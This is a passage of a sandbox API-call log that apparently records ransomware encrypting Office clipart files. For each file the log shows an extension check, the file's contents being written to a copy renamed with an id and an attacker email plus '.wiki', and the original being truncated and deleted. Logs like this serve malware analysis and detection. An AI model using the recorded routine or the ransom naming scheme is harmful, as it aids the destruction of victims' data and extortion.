returned -1 [0189.860] lstrlenW (lpString=".xls") returned 4 [0189.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.860] lstrlenW (lpString=".xlsx") returned 5 [0189.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.860] lstrlenW (lpString=".ppt") returned 4 [0189.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.860] lstrlenW (lpString=".zip") returned 4 [0189.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.860] lstrlenW (lpString=".rar") returned 4 [0189.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.860] lstrlenW (lpString=".bz2") returned 4 [0189.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.860] lstrlenW (lpString=".7z") returned 3 [0189.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.860] lstrlenW (lpString=".dbf") returned 4 [0189.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.860] lstrlenW (lpString=".1cd") returned 4 [0189.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0189.861] lstrlenW (lpString=".jpg") returned 4 [0189.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.861] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.861] lstrlenW (lpString="HH01329_.WMF") returned 12 [0189.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.861] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6016) returned 1 [0189.861] CloseHandle (hObject=0x1e4) returned 1 [0189.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0189.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.862] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.862] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.862] GetLastError () returned 0x0 [0189.862] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1780, lpOverlapped=0x0) returned 1 [0189.864] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1790, lpOverlapped=0x0) returned 1 [0189.866] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.866] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.866] SetEndOfFile (hFile=0x200) returned 1 [0189.866] CloseHandle (hObject=0x200) returned 1 [0189.866] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.867] SetEndOfFile (hFile=0x1e4) returned 1 [0189.867] CloseHandle (hObject=0x1e4) returned 1 [0189.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0189.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.868] lstrlenW (lpString=".doc") returned 4 [0189.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.868] lstrlenW (lpString=".docx") returned 5 [0189.868] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.868] lstrlenW (lpString=".pdf") returned 4 [0189.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.868] lstrlenW (lpString=".xls") returned 4 [0189.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.868] lstrlenW (lpString=".xlsx") returned 5 [0189.868] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.868] lstrlenW (lpString=".ppt") returned 4 [0189.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.868] lstrlenW (lpString=".zip") returned 4 [0189.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.868] lstrlenW (lpString=".rar") returned 4 [0189.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.868] lstrlenW (lpString=".bz2") returned 4 [0189.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.868] lstrlenW (lpString=".7z") returned 3 [0189.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.868] lstrlenW (lpString=".dbf") returned 4 [0189.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.869] lstrlenW (lpString=".1cd") returned 4 [0189.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.869] lstrlenW (lpString=".jpg") returned 4 [0189.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.869] lstrlenW (lpString=".doc") returned 4 [0189.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString=".docx") returned 5 [0189.869] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.869] lstrlenW (lpString=".pdf") returned 4 [0189.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString=".xls") returned 4 [0189.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.869] lstrlenW (lpString=".xlsx") returned 5 [0189.869] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.869] lstrlenW (lpString=".ppt") returned 4 [0189.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.869] lstrlenW (lpString=".zip") returned 4 [0189.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.869] lstrlenW (lpString=".rar") returned 4 [0189.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString=".bz2") returned 4 [0189.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.869] lstrlenW (lpString=".7z") returned 3 [0189.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.870] lstrlenW (lpString=".dbf") returned 4 [0189.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.870] lstrlenW (lpString=".1cd") returned 4 [0189.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 63 [0189.870] lstrlenW (lpString=".jpg") returned 4 [0189.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.870] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.870] lstrlenW (lpString="HH01461_.WMF") returned 12 [0189.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.870] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5958) returned 1 [0189.870] CloseHandle (hObject=0x1e4) returned 1 [0189.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0189.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.871] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.871] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.871] GetLastError () returned 0x0 [0189.871] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1746, lpOverlapped=0x0) returned 1 [0189.874] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0189.875] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.875] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.875] SetEndOfFile (hFile=0x200) returned 1 [0189.875] CloseHandle (hObject=0x200) returned 1 [0189.876] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.876] SetEndOfFile (hFile=0x1e4) returned 1 [0189.876] CloseHandle (hObject=0x1e4) returned 1 [0189.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0189.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.877] lstrlenW (lpString=".doc") returned 4 [0189.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.877] lstrlenW (lpString=".docx") returned 5 [0189.877] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.877] lstrlenW (lpString=".pdf") returned 4 [0189.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.877] lstrlenW (lpString=".xls") returned 4 [0189.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.877] lstrlenW (lpString=".xlsx") returned 5 [0189.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.877] lstrlenW (lpString=".ppt") returned 4 [0189.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.877] lstrlenW (lpString=".zip") returned 4 [0189.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.877] lstrlenW (lpString=".rar") returned 4 [0189.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.877] lstrlenW (lpString=".bz2") returned 4 [0189.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.877] lstrlenW (lpString=".7z") returned 3 [0189.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.877] lstrlenW (lpString=".dbf") returned 4 [0189.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.878] lstrlenW (lpString=".1cd") returned 4 [0189.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.878] lstrlenW (lpString=".jpg") returned 4 [0189.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.878] lstrlenW (lpString=".doc") returned 4 [0189.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString=".docx") returned 5 [0189.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.878] lstrlenW (lpString=".pdf") returned 4 [0189.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString=".xls") returned 4 [0189.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.878] lstrlenW (lpString=".xlsx") returned 5 [0189.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.878] lstrlenW (lpString=".ppt") returned 4 [0189.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.878] lstrlenW (lpString=".zip") returned 4 [0189.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.878] lstrlenW (lpString=".rar") returned 4 [0189.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString=".bz2") returned 4 [0189.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString=".7z") returned 3 [0189.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.878] lstrlenW (lpString=".dbf") returned 4 [0189.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.879] lstrlenW (lpString=".1cd") returned 4 [0189.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0189.879] lstrlenW (lpString=".jpg") returned 4 [0189.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.879] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.879] lstrlenW (lpString="HH01759_.WMF") returned 12 [0189.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.879] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5414) returned 1 [0189.879] CloseHandle (hObject=0x1e4) returned 1 [0189.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0189.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.880] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.880] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0189.880] GetLastError () returned 0x0 [0189.880] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1526, lpOverlapped=0x0) returned 1 [0189.882] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1530, lpOverlapped=0x0) returned 1 [0189.883] ReadFile (in: hFile=0x1e4, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.883] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.883] SetEndOfFile (hFile=0x200) returned 1 [0189.883] CloseHandle (hObject=0x200) returned 1 [0189.883] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.883] SetEndOfFile (hFile=0x1e4) returned 1 [0189.884] CloseHandle (hObject=0x1e4) returned 1 [0189.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0189.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.885] lstrlenW (lpString=".doc") returned 4 [0189.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.885] lstrlenW (lpString=".docx") returned 5 [0189.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.885] lstrlenW (lpString=".pdf") returned 4 [0189.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.885] lstrlenW (lpString=".xls") returned 4 [0189.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.885] lstrlenW (lpString=".xlsx") returned 5 [0189.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.885] lstrlenW (lpString=".ppt") returned 4 [0189.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.885] lstrlenW (lpString=".zip") returned 4 [0189.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.885] lstrlenW (lpString=".rar") returned 4 [0189.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.885] lstrlenW (lpString=".bz2") returned 4 [0189.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.885] lstrlenW (lpString=".7z") returned 3 [0189.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.885] lstrlenW (lpString=".dbf") returned 4 [0189.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.886] lstrlenW (lpString=".1cd") returned 4 [0189.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.886] lstrlenW (lpString=".jpg") returned 4 [0189.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.886] lstrlenW (lpString=".doc") returned 4 [0189.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString=".docx") returned 5 [0189.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.886] lstrlenW (lpString=".pdf") returned 4 [0189.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString=".xls") returned 4 [0189.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.886] lstrlenW (lpString=".xlsx") returned 5 [0189.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.886] lstrlenW (lpString=".ppt") returned 4 [0189.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0189.886] lstrlenW (lpString=".zip") returned 4 [0189.886] lstrcmpiW (lpString1=".zip", 